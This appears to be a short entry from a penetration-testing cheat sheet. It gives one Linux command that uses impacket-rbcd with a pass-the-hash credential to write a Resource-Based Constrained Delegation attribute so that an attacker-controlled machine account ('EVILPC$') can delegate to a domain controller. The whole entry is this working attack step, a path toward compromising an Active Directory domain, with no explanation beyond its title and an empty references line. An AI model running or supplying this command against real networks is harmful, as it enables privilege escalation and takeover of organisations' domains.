Write RBCD (Resource-Based Constrained Delegation) attribute to a machine account.
Command: Linux copy
impacket-rbcd -dc-ip $IP -action write -delegate-to "$DC$" -delegate-from "EVILPC$" -hashes :$HASH $DOMAIN/$USER
References: